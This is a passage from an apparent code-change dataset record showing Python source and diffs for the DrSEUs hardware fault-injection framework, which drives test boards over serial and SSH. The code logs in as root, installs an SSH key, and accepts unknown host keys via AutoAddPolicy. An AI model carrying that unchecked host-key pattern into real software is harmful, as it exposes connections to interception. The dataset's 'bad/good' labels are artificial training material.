'Error resetting timeout', db.log_exception) self.close() self.open() if self.options.debug: print() if 'drseus_detected_errors:' in buff: for line in buff.split('\\n'): if 'drseus_detected_errors:' in line: if self.db.result['detected_errors'] is None: self.db.result['detected_errors']=0 self.db.result['detected_errors'] +=\\ int(line.replace('drseus_detected_errors:', '')) with self.db as db: if self.db.result: db.update('result') else: db.update('campaign') if errors and not boot: for message, category in self.error_messages: if message in buff: raise DrSEUsError(category) if hanging: raise DrSEUsError(DrSEUsError.hanging) if boot: with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Booted') return buff def command(self, command=None): with self.db as db: event=db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Command', command, success=False) if command: self.write(command+'\\n') else: self.write('\\n') buff=self.read_until() with self.db as db: db.log_event_success(event) return buff def do_login(self, change_prompt=False): self.read_until(boot=True) if change_prompt: self.write('export PS1=\\\"DrSEUs self.read_until('export PS1=\\\"DrSEUs self.prompt='DrSEUs self.read_until() if self.login_command: self.command(self.login_command) self.command('mkdir ~/.ssh') self.command('touch ~/.ssh/authorized_keys') self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() + '\\\" > ~/.ssh/authorized_keys') if self.db.campaign['simics']: self.command('ip addr add '+self.ip_address+'/24 dev eth0') self.command('ip link set eth0 up') self.command('ip addr show') self.ip_address='127.0.0.1' if self.ip_address is None: attempts=10 for attempt in range(attempts): for line in self.command('ip addr show').split('\\n'): line=line.strip().split() if len(line) > 0 and line[0]=='inet': addr=line[1].split('/')[0] if addr !='127.0.0.1': self.ip_address=addr break else: if attempt < attempts-1: sleep(5) else: raise DrSEUsError('Error finding device ip address') if self.ip_address is not None: break with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Logged in') ", "sourceWithComments": "from io import StringIO\nfrom paramiko import AutoAddPolicy, RSAKey, SSHClient\nfrom scp import SCPClient\nfrom serial import Serial\nfrom serial.serialutil import SerialException\nfrom sys import stdout\nfrom termcolor import colored\nfrom time import sleep\n\nfrom error import DrSEUsError\n\n\nclass dut(object):\n error_messages = [\n ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'),\n ('drseus_sighandler: SIGILL', 'Signal SIGILL'),\n ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'),\n ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'),\n ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'),\n ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'),\n ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'),\n ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'),\n ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'),\n ('command not found', 'Invalid command'),\n ('No such file or directory', 'Missing file'),\n ('panic', 'Kernel error'),\n ('Oops', 'Kernel error'),\n ('Segmentation fault', 'Segmentation fault'),\n ('Illegal instruction', 'Illegal instruction'),\n ('Call Trace:', 'Kernel error'),\n ('detected stalls on CPU', 'Stall detected'),\n ('malloc(), memory corruption', 'Kernel error'),\n ('malloc(): memory corruption', 'Kernel error'),\n ('Bad swap file entry', 'Kernel error'),\n ('Unable to handle kernel paging request', 'Kernel error'),\n ('Alignment trap', 'Kernel error'),\n ('Unhandled fault', 'Kernel error'),\n ('free(), invalid next size', 'Kernel error'),\n ('double free or corruption', 'Kernel error'),\n ('Rebooting in', 'Kernel error'),\n ('????????', '????????'),\n ('Hit any key to stop autoboot:', 'Reboot'),\n ('can\\'t get kernel image', 'Error booting')]\n\n def __init__(self, database, options, aux=False):\n\n self.db = database\n self.options = options\n self.aux = aux\n self.ip_address = options.dut_ip_address if not aux \\\n else options.aux_ip_address\n self.scp_port = options.dut_scp_port if not aux \\\n else options.aux_scp_port\n self.prompt = options.dut_prompt if not aux else options.aux_prompt\n self.prompt += ' '\n rsakey_file = StringIO(database.campaign['rsakey'])\n self.rsakey = RSAKey.from_private_key(rsakey_file)\n rsakey_file.close()\n self.uboot_command = options.dut_uboot if not aux \\\n else options.aux_uboot\n self.login_command = options.dut_login if not aux \\\n else options.aux_login\n self.open()\n\n def __str__(self):\n string = ('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' +\n str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' +\n self.prompt+'\\\"\\n\\tIP Address: '+str(self.ip_address) +\n '\\n\\tSCP Port: '+str(self.scp_port))\n return string\n\n def open(self, attempts=10):\n serial_port = (self.options.dut_serial_port if not self.aux\n else self.options.aux_serial_port)\n if self.db.result:\n self.db.result[('dut' if not self.aux else 'aux') +\n '_serial_port'] = serial_port\n with self.db as db:\n db.update('result')\n baud_rate = (self.options.dut_baud_rate if not self.aux\n else self.options.aux_baud_rate)\n self.serial = Serial(port=None, baudrate=baud_rate,\n timeout=self.options.timeout, rtscts=True)\n if self.db.campaign['simics']:\n # workaround for pyserial 3\n self.serial._dsrdtr = True\n self.serial.port = serial_port\n for attempt in range(attempts):\n try:\n self.serial.open()\n except Exception as error:\n with self.db as db:\n db.log_event('Warning' if attempt < attempts-1 else 'Error',\n 'DUT' if not self.aux else 'AUX',\n 'Error opening serial port',\n db.log_exception)\n print(colored(\n 'Error opening serial port '+serial_port+' (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError('Error opening serial port')\n else:\n break\n self.serial.reset_input_buffer()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n 'Connected to serial port', serial_port)\n\n def close(self):\n self.serial.close()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n 'Closed serial port')\n\n def flush(self):\n try:\n in_bytes = self.serial.in_waiting\n except:\n pass\n else:\n if in_bytes:\n buff = self.serial.read(in_bytes).decode('utf-8', 'replace')\n if self.db.result:\n self.db.result['dut_output' if not self.aux\n else 'aux_output'] += buff\n else:\n self.db.campaign['dut_output' if not self.aux\n else 'aux_output'] += buff\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n 'Flushed serial buffer')\n\n def send_files(self, files, attempts=10):\n if self.options.debug:\n print(colored('sending file(s)...', 'blue'), end='')\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=self.scp_port,\n username='root', pkey=self.rsakey, timeout=30,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n with self.db as db:\n db.log_event('Warning' if attempt < attempts-1 else 'Error',\n 'DUT' if not self.aux else 'AUX', 'SSH error',\n db.log_exception)\n print(colored(\n self.serial.port+': Error sending file(s) (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.put(files)\n except Exception as error:\n with self.db as db:\n db.log_event('Warning' if attempt < attempts-1\n else 'Error',\n 'DUT' if not self.aux else 'AUX',\n 'SCP error', db.log_exception)\n print(colored(\n self.serial.port+': Error sending file(s) (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error),\n 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n 'Sent files', ', '.join(files))\n break\n\n def get_file(self, file_, local_path='', attempts=10):\n if self.options.debug:\n print(colored('getting file...', 'blue'), end='')\n stdout.flush()\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=self.scp_port,\n username='root', pkey=self.rsakey, timeout=30,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n with self.db as db:\n db.log_event('Warning' if attempt < attempts-1 else 'Error',\n 'DUT' if not self.aux else 'AUX', 'SSH error',\n db.log_exception)\n print(colored(\n self.serial.port+': Error receiving file (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n except Exception as error:\n with self.db as db:\n db.log_event('Warning' if attempt < attempts-1\n else 'Error',\n 'DUT' if not self.aux else 'AUX',\n 'SCP error', db.log_exception)\n print(colored(\n self.serial.port+': Error receiving file (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error),\n 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n 'Received file', file_)\n break\n\n def write(self, string):\n self.serial.write(bytes(string, encoding='utf-8'))\n\n def read_until(self, string=None, continuous=False, boot=False):\n if string is None:\n string = self.prompt\n buff = ''\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n hanging = False\n while True:\n try:\n char = self.serial.read().decode('utf-8', 'replace')\n except SerialException:\n char = ''\n errors += 1\n with self.db as db:\n db.log_event('Error', 'DUT' if not self.aux else 'AUX',\n 'Read error', db.log_exception)\n else:\n if not char:\n hanging = True\n with self.db as db:\n db.log_event('Error', 'DUT' if not self.aux else 'AUX',\n 'Read timeout', db.log_trace)\n if not continuous:\n break\n if self.db.result:\n self.db.result['dut_output' if not self.aux\n else 'aux_output'] += char\n else:\n self.db.campaign['dut_output' if not self.aux\n else 'aux_output'] += char\n if self.options.debug:\n print(colored(char, 'green' if not self.aux else 'cyan'),\n end='')\n stdout.flush()\n buff += char\n if not continuous and buff[-len(string):] == string:\n break\n elif buff[-len('autoboot: '):] == 'autoboot: ' and \\\n self.uboot_command:\n self.write('\\n')\n self.write(self.uboot_command+'\\n')\n elif buff[-len('login: '):] == 'login: ':\n self.write(self.options.username+'\\n')\n elif buff[-len('Password: '):] == 'Password: ':\n self.write(self.options.password+'\\n')\n elif buff[-len('can\\'t get kernel image'):] == \\\n 'can\\'t get kernel image':\n self.write('reset\\n')\n errors += 1\n for message, category in self.error_messages:\n if buff[-len(message):] == message:\n if boot:\n if category in ('Reboot', 'Missing file'):\n continue\n elif not continuous:\n self.serial.timeout = 30\n errors += 1\n event_buff = buff.replace(event_buff_logged, '')\n with self.db as db:\n db.log_event('Warning' if boot else 'Error',\n 'DUT' if not self.aux else 'AUX',\n category, event_buff)\n event_buff_logged += event_buff\n if not continuous and errors > 10:\n break\n if not boot and buff and buff[-1] == '\\n':\n with self.db as db:\n if self.db.result:\n db.update('result')\n else:\n db.update('campaign')\n if self.serial.timeout != self.options.timeout:\n try:\n self.serial.timeout = self.options.timeout\n except:\n with self.db as db:\n db.log_event('Error', 'DUT' if not self.aux else 'AUX',\n 'Error resetting timeout', db.log_exception)\n self.close()\n self.open()\n if self.options.debug:\n print()\n if 'drseus_detected_errors:' in buff:\n for line in buff.split('\\n'):\n if 'drseus_detected_errors:' in line:\n if self.db.result['detected_errors'] is None:\n self.db.result['detected_errors'] = 0\n # TODO: use regular expression\n self.db.result['detected_errors'] += \\\n int(line.replace('drseus_detected_errors:', ''))\n with self.db as db:\n if self.db.result:\n db.update('result')\n else:\n db.update('campaign')\n if errors and not boot:\n for message, category in self.error_messages:\n if message in buff:\n raise DrSEUsError(category)\n if hanging:\n raise DrSEUsError(DrSEUsError.hanging)\n if boot:\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n 'Booted')\n return buff\n\n def command(self, command=None):\n with self.db as db:\n event = db.log_event('Information',\n 'DUT' if not self.aux else 'AUX', 'Command',\n command, success=False)\n if command:\n self.write(command+'\\n')\n else:\n self.write('\\n')\n buff = self.read_until()\n with self.db as db:\n db.log_event_success(event)\n return buff\n\n def do_login(self, change_prompt=False):\n self.read_until(boot=True)\n if change_prompt:\n self.write('export PS1=\\\"DrSEUs# \\\"\\n')\n self.read_until('export PS1=\\\"DrSEUs# \\\"')\n self.prompt = 'DrSEUs# '\n self.read_until()\n if self.login_command:\n self.command(self.login_command)\n self.command('mkdir ~/.ssh')\n self.command('touch ~/.ssh/authorized_keys')\n self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() +\n '\\\" > ~/.ssh/authorized_keys')\n if self.db.campaign['simics']:\n self.command('ip addr add '+self.ip_address+'/24 dev eth0')\n self.command('ip link set eth0 up')\n self.command('ip addr show')\n self.ip_address = '127.0.0.1'\n if self.ip_address is None:\n attempts = 10\n for attempt in range(attempts):\n for line in self.command('ip addr show').split('\\n'):\n line = line.strip().split()\n if len(line) > 0 and line[0] == 'inet':\n addr = line[1].split('/')[0]\n if addr != '127.0.0.1':\n self.ip_address = addr\n break\n else:\n if attempt < attempts-1:\n sleep(5)\n else:\n raise DrSEUsError('Error finding device ip address')\n if self.ip_address is not None:\n break\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n 'Logged in')\n"}, "/fault_injector.py": {"changes": [{"diff": "\n str(self.db.campaign['sim_time'])+' seconds')\n return string\n \n- def close(self):\n- self.debugger.dut.flush()\n- if self.db.campaign['aux']:\n- self.debugger.aux.flush()\n+ def close(self, interrupted=False):\n self.debugger.close()\n- if self.db.result:\n+ if interrupted:\n+ with self.db as db:\n+ db.log_event('Information', 'User', 'Interrupt',\n+ db.log_exception)\n+ db.result['outcome'] = 'Interrupted'\n+ db.log_result(False)\n+ elif self.db.result:\n with self.db as db:\n result_items = db.get_count('event')\n result_items += db.get_count('injection')\n", "add": 8, "remove": 5, "filename": "/fault_injector.py", "badparts": [" def close(self):", " self.debugger.dut.flush()", " if self.db.campaign['aux']:", " self.debugger.aux.flush()", " if self.db.result:"], "goodparts": [" def close(self, interrupted=False):", " if interrupted:", " with self.db as db:", " db.log_event('Information', 'User', 'Interrupt',", " db.log_exception)", " db.result['outcome'] = 'Interrupted'", " db.log_result(False)", " elif self.db.result:"]}, {"diff": "\n 'outcome_category': 'DrSEUs',\n 'outcome': 'Closed DrSEUs'})\n with self.db as db:\n- db.log_result(True)\n+ db.log_result(False)\n else:\n with self.db as db:\n db.delete_result()\n", "add": 1, "remove": 1, "filename": "/fault_injector.py", "badparts": [" db.log_result(True)"], "goodparts": [" db.log_result(False)"]}, {"diff": "\n aux_process.start()\n if not self.db.campaign['simics']:\n self.debugger.reset_dut()\n- self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n send_dut_files()\n if self.db.campaign['aux']:\n", "add": 0, "remove": 1, "filename": "/fault_injector.py", "badparts": [" self.debugger.dut.serial.timeout = 30"], "goodparts": []}, {"diff": "\n db.log_result()\n return False\n try:\n- self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n except DrSEUsError as error:\n self.db.result.update({\n", "add": 0, "remove": 1, "filename": "/fault_injector.py", "badparts": [" self.debugger.dut.serial.timeout = 30"], "goodparts": []}], "source": "\nfrom difflib import SequenceMatcher from os import listdir, makedirs from shutil import copy, rmtree from subprocess import check_call, PIPE, Popen from threading import Thread from database import database from error import DrSEUsError from jtag import bdi_p2020, openocd from simics import simics class fault_injector(object): def __init__(self, campaign, options): self.options=options self.db=database(campaign, options.command !='new') if campaign['simics']: self.debugger=simics(self.db, options) else: if campaign['architecture']=='p2020': self.debugger=bdi_p2020(self.db, options) elif campaign['architecture']=='a9': self.debugger=openocd(self.db, options) if campaign['aux'] and not campaign['simics']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.do_login() if options.command !='new': self.send_dut_files(aux=True) def __str__(self): string=('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) + '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t')) if self.db.campaign['aux']: string +='\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t', '\\n\\t\\t') string +=('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' + str(self.db.campaign['id'])+'\\n\\t\\tDUT Command: \\\"' + self.db.campaign['command']+'\\\"') if self.db.campaign['aux']: string +=\\ '\\n\\t\\tAUX Command: \\\"'+self.db.campaign['aux_command']+'\\\"' string +=('\\n\\t\\t'+('Host 'if self.db.campaign['simics'] else '') + 'Execution Time: '+str(self.db.campaign['exec_time']) + ' seconds') if self.db.campaign['simics']: string +=('\\n\\t\\tExecution Cycles: ' + '{:,}'.format(self.db.campaign['num_cycles']) + ' cycles\\n\\t\\tSimulated Time: ' + str(self.db.campaign['sim_time'])+' seconds') return string def close(self): self.debugger.dut.flush() if self.db.campaign['aux']: self.debugger.aux.flush() self.debugger.close() if self.db.result: with self.db as db: result_items=db.get_count('event') result_items +=db.get_count('injection') result_items +=db.get_count('simics_memory_diff') result_items +=db.get_count('simics_register_diff') if(self.db.result['dut_output'] or self.db.result['aux_output'] or self.db.result['debugger_output'] or result_items): self.db.result.update({ 'outcome_category': 'DrSEUs', 'outcome': 'Closed DrSEUs'}) with self.db as db: db.log_result(True) else: with self.db as db: db.delete_result() def setup_campaign(self): def send_dut_files(aux=False): files=[] files.append(self.options.directory+'/' + (self.options.aux_application if aux else self.options.application)) if self.options.files: for file_ in self.options.files: files.append(self.options.directory+'/'+file_) makedirs('campaign-data/'+str(self.db.campaign['id']) + ('/aux-files/' if aux else '/dut-files')) for file_ in files: copy(file_, 'campaign-data/'+str(self.db.campaign['id']) + ('/aux-files/' if aux else '/dut-files')) if aux: self.debugger.aux.send_files(files) else: self.debugger.dut.send_files(files) if self.db.campaign['aux']: aux_process=Thread(target=send_dut_files, args=[True]) aux_process.start() if not self.db.campaign['simics']: self.debugger.reset_dut() self.debugger.dut.serial.timeout=30 self.debugger.dut.do_login() send_dut_files() if self.db.campaign['aux']: aux_process.join() self.debugger.time_application() if self.db.campaign['output_file']: if self.db.campaign['use_aux_output']: self.debugger.aux.get_file( self.db.campaign['output_file'], 'campaign-data/'+str(self.db.campaign['id'])+'/gold_' + self.db.campaign['output_file']) self.debugger.aux.command('rm ' + self.db.campaign['output_file']) else: self.debugger.dut.get_file( self.db.campaign['output_file'], 'campaign-data/'+str(self.db.campaign['id'])+'/gold_' + self.db.campaign['output_file']) self.debugger.dut.command('rm ' + self.db.campaign['output_file']) self.debugger.dut.flush() if self.db.campaign['aux']: self.debugger.aux.flush() with self.db as db: db.update('campaign') self.close() def send_dut_files(self, aux=False): location='campaign-data/'+str(self.db.campaign['id']) if aux: location +='/aux-files/' else: location +='/dut-files/' files=[] for item in listdir(location): files.append(location+item) if aux: self.debugger.aux.send_files(files) else: self.debugger.dut.send_files(files) def __monitor_execution(self, latent_faults=0, persistent_faults=False): def check_output(): try: if self.db.campaign['use_aux_output']: directory_listing=self.debugger.aux.command('ls -l') else: directory_listing=self.debugger.dut.command('ls -l') except DrSEUsError as error: self.db.result['outcome_category']='Post execution error' self.db.result['outcome']=error.type return if self.db.campaign['output_file'] not in directory_listing: self.db.result['outcome_category']='Data error' self.db.result['outcome']='Missing output file' return result_folder=( 'campaign-data/'+str(self.db.campaign['id']) + '/results/'+str(self.db.result['id'])) makedirs(result_folder) output_location=\\ result_folder+'/'+self.db.campaign['output_file'] gold_location=( 'campaign-data/'+str(self.db.campaign['id']) + '/gold_'+self.db.campaign['output_file']) try: if self.db.campaign['use_aux_output']: self.debugger.aux.get_file( self.db.campaign['output_file'], output_location) else: self.debugger.dut.get_file( self.db.campaign['output_file'], output_location) except DrSEUsError as error: self.db.result['outcome_category']='File transfer error' self.db.result['outcome']=error.type if not listdir(result_folder): rmtree(result_folder) return with open(gold_location, 'rb') as solution: solutionContents=solution.read() with open(output_location, 'rb') as result: resultContents=result.read() self.db.result['data_diff']=SequenceMatcher( None, solutionContents, resultContents).quick_ratio() if self.db.result['data_diff']==1.0: rmtree(result_folder) if self.db.result['detected_errors']: self.db.result['outcome_category']='Data error' self.db.result['outcome']='Corrected data error' else: self.db.result['outcome_category']='Data error' if self.db.result['detected_errors']: self.db.result['outcome']='Detected data error' else: self.db.result['outcome']='Silent data error' try: if self.db.campaign['use_aux_output']: self.debugger.aux.command('rm ' + self.db.campaign['output_file']) else: self.debugger.dut.command('rm ' + self.db.campaign['output_file']) except DrSEUsError as error: self.db.result['outcome_category']='Post execution error' self.db.result['outcome']=error.type return if self.db.campaign['aux']: try: self.debugger.aux.read_until() except DrSEUsError as error: self.debugger.dut.serial.write('\\x03') self.db.result['outcome_category']='AUX execution error' self.db.result['outcome']=error.type else: if self.db.campaign['kill_dut']: self.debugger.dut.serial.write('\\x03') try: self.debugger.dut.read_until() except DrSEUsError as error: self.db.result['outcome_category']='Execution error' self.db.result['outcome']=error.type if self.db.campaign['output_file'] and \\ self.db.result['outcome']=='Incomplete': check_output() if self.db.result['outcome']=='Incomplete': self.db.result['outcome_category']='No error' if persistent_faults: self.db.result['outcome']='Persistent faults' elif latent_faults: self.db.result['outcome']='Latent faults' else: self.db.result['outcome']='Masked faults' def inject_campaign(self, iteration_counter): def prepare_dut(): try: self.debugger.reset_dut() except DrSEUsError as error: self.db.result.update({ 'outcome_category': 'Debugger error', 'outcome': str(error)}) with self.db as db: db.log_result() return False try: self.debugger.dut.serial.timeout=30 self.debugger.dut.do_login() except DrSEUsError as error: self.db.result.update({ 'outcome_category': 'DUT login error', 'outcome': str(error)}) with self.db as db: db.log_result() return False try: self.send_dut_files() except DrSEUsError as error: self.db.result.update({ 'outcome_category': str(error), 'outcome': 'Error sending files to DUT'}) with self.db as db: db.log_result() return False if self.db.campaign['aux']: self.debugger.aux.write( './'+self.db.campaign['aux_command']+'\\n') return True def continue_dut(): try: self.debugger.continue_dut() if self.db.campaign['aux']: aux_process=Thread( target=self.debugger.aux.read_until) aux_process.start() self.debugger.dut.read_until() if self.db.campaign['aux']: aux_process.join() except DrSEUsError: pass def close_simics(): try: self.debugger.close() except DrSEUsError as error: self.db.result.update({ 'outcome_category': 'Simics error', 'outcome': str(error)}) finally: rmtree('simics-workspace/injected-checkpoints/' + str(self.db.campaign['id'])+'/' + str(self.db.result['id'])) def check_latent_faults(): for i in range(self.options.latent_iterations): if self.db.result['outcome']=='Latent faults' or \\ (not self.db.campaign['simics'] and self.db.result['outcome']=='Masked faults'): if self.db.campaign['aux']: self.debugger.aux.write( './'+self.db.campaign['aux_command']+'\\n') self.debugger.dut.write( './'+self.db.campaign['command']+'\\n') outcome_category=self.db.result['outcome_category'] outcome=self.db.result['outcome'] self.__monitor_execution() if self.db.result['outcome'] !='Masked faults': self.db.result['outcome_category']=\\ 'Post execution error' else: self.db.result.update({ 'outcome_category': outcome_category, 'outcome': outcome}) while True: if iteration_counter is not None: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break self.db.result['num_injections']=self.options.injections if not self.db.campaign['simics']: if not prepare_dut(): continue try: latent_faults, persistent_faults=self.debugger.inject_faults() self.debugger.continue_dut() except DrSEUsError as error: self.db.result['outcome']=str(error) if self.db.campaign['simics']: self.db.result['outcome_category']='Simics error' else: self.db.result['outcome_category']='Debugger error' continue_dut() else: self.__monitor_execution(latent_faults, persistent_faults) check_latent_faults() self.debugger.dut.flush() if self.db.campaign['aux']: self.debugger.aux.flush() if self.db.campaign['simics']: close_simics() with self.db as db: db.log_result() self.close() def supervise(self, iteration_counter, packet_capture): def start_packet_capture(): data_dir=('campaign-data/'+str(self.db.campaign['id']) + '/results/'+str(self.db.result['id'])) makedirs(data_dir) self.capture_file=open(data_dir+'/capture.pcap', 'w') self.capture_process=Popen( ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'], stderr=PIPE, stdout=self.capture_file) buff='' while True: buff +=self.capture_process.stderr.read(1) if buff[-len('Capturing on \\'eth1\\''):]==\\ 'Capturing on \\'eth1\\'': break def end_packet_capture(): check_call(['ssh', 'p2020', 'killall tshark']) self.capture_process.wait() self.capture_file.close() interrupted=False while not interrupted: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break if packet_capture: start_packet_capture() if self.db.campaign['aux']: self.debugger.aux.write('./'+self.db.campaign['aux_command'] + '\\n') self.debugger.dut.write('./'+self.db.campaign['command']+'\\n') try: self.__monitor_execution() except KeyboardInterrupt: if self.db.campaign['simics']: self.debugger.continue_dut() self.debugger.dut.serial.write('\\x03') self.debugger.dut.read_until() if self.db.campaign['aux']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.read_until() self.db.result.update({ 'outcome_category': 'Incomplete', 'outcome': 'Interrupted'}) interrupted=True with self.db as db: db.log_result() if packet_capture: end_packet_capture() ", "sourceWithComments": "from difflib import SequenceMatcher\nfrom os import listdir, makedirs\nfrom shutil import copy, rmtree\nfrom subprocess import check_call, PIPE, Popen\nfrom threading import Thread\n\nfrom database import database\nfrom error import DrSEUsError\nfrom jtag import bdi_p2020, openocd\nfrom simics import simics\n\n\nclass fault_injector(object):\n def __init__(self, campaign, options):\n self.options = options\n self.db = database(campaign, options.command != 'new')\n if campaign['simics']:\n self.debugger = simics(self.db, options)\n else:\n if campaign['architecture'] == 'p2020':\n self.debugger = bdi_p2020(self.db, options)\n elif campaign['architecture'] == 'a9':\n self.debugger = openocd(self.db, options)\n if campaign['aux'] and not campaign['simics']:\n self.debugger.aux.serial.write('\\x03')\n self.debugger.aux.do_login()\n if options.command != 'new':\n self.send_dut_files(aux=True)\n\n def __str__(self):\n string = ('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) +\n '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t'))\n if self.db.campaign['aux']:\n string += '\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t',\n '\\n\\t\\t')\n string += ('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' +\n str(self.db.campaign['id'])+'\\n\\t\\tDUT Command: \\\"' +\n self.db.campaign['command']+'\\\"')\n if self.db.campaign['aux']:\n string += \\\n '\\n\\t\\tAUX Command: \\\"'+self.db.campaign['aux_command']+'\\\"'\n string += ('\\n\\t\\t'+('Host 'if self.db.campaign['simics'] else '') +\n 'Execution Time: '+str(self.db.campaign['exec_time']) +\n ' seconds')\n if self.db.campaign['simics']:\n string += ('\\n\\t\\tExecution Cycles: ' +\n '{:,}'.format(self.db.campaign['num_cycles']) +\n ' cycles\\n\\t\\tSimulated Time: ' +\n str(self.db.campaign['sim_time'])+' seconds')\n return string\n\n def close(self):\n self.debugger.dut.flush()\n if self.db.campaign['aux']:\n self.debugger.aux.flush()\n self.debugger.close()\n if self.db.result:\n with self.db as db:\n result_items = db.get_count('event')\n result_items += db.get_count('injection')\n result_items += db.get_count('simics_memory_diff')\n result_items += db.get_count('simics_register_diff')\n if (self.db.result['dut_output'] or\n self.db.result['aux_output'] or\n self.db.result['debugger_output'] or\n result_items):\n self.db.result.update({\n 'outcome_category': 'DrSEUs',\n 'outcome': 'Closed DrSEUs'})\n with self.db as db:\n db.log_result(True)\n else:\n with self.db as db:\n db.delete_result()\n\n def setup_campaign(self):\n\n def send_dut_files(aux=False):\n files = []\n files.append(self.options.directory+'/' +\n (self.options.aux_application if aux\n else self.options.application))\n if self.options.files:\n for file_ in self.options.files:\n files.append(self.options.directory+'/'+file_)\n makedirs('campaign-data/'+str(self.db.campaign['id']) +\n ('/aux-files/' if aux else '/dut-files'))\n for file_ in files:\n copy(file_, 'campaign-data/'+str(self.db.campaign['id']) +\n ('/aux-files/' if aux else '/dut-files'))\n if aux:\n self.debugger.aux.send_files(files)\n else:\n self.debugger.dut.send_files(files)\n\n # def setup_campaign(self):\n if self.db.campaign['aux']:\n aux_process = Thread(target=send_dut_files, args=[True])\n aux_process.start()\n if not self.db.campaign['simics']:\n self.debugger.reset_dut()\n self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n send_dut_files()\n if self.db.campaign['aux']:\n aux_process.join()\n self.debugger.time_application()\n if self.db.campaign['output_file']:\n if self.db.campaign['use_aux_output']:\n self.debugger.aux.get_file(\n self.db.campaign['output_file'],\n 'campaign-data/'+str(self.db.campaign['id'])+'/gold_' +\n self.db.campaign['output_file'])\n self.debugger.aux.command('rm ' +\n self.db.campaign['output_file'])\n else:\n self.debugger.dut.get_file(\n self.db.campaign['output_file'],\n 'campaign-data/'+str(self.db.campaign['id'])+'/gold_' +\n self.db.campaign['output_file'])\n self.debugger.dut.command('rm ' +\n self.db.campaign['output_file'])\n self.debugger.dut.flush()\n if self.db.campaign['aux']:\n self.debugger.aux.flush()\n with self.db as db:\n db.update('campaign')\n self.close()\n\n def send_dut_files(self, aux=False):\n location = 'campaign-data/'+str(self.db.campaign['id'])\n if aux:\n location += '/aux-files/'\n else:\n location += '/dut-files/'\n files = []\n for item in listdir(location):\n files.append(location+item)\n if aux:\n self.debugger.aux.send_files(files)\n else:\n self.debugger.dut.send_files(files)\n\n def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n\n def check_output():\n try:\n if self.db.campaign['use_aux_output']:\n directory_listing = self.debugger.aux.command('ls -l')\n else:\n directory_listing = self.debugger.dut.command('ls -l')\n except DrSEUsError as error:\n self.db.result['outcome_category'] = 'Post execution error'\n self.db.result['outcome'] = error.type\n return\n if self.db.campaign['output_file'] not in directory_listing:\n self.db.result['outcome_category'] = 'Data error'\n self.db.result['outcome'] = 'Missing output file'\n return\n result_folder = (\n 'campaign-data/'+str(self.db.campaign['id']) +\n '/results/'+str(self.db.result['id']))\n makedirs(result_folder)\n output_location = \\\n 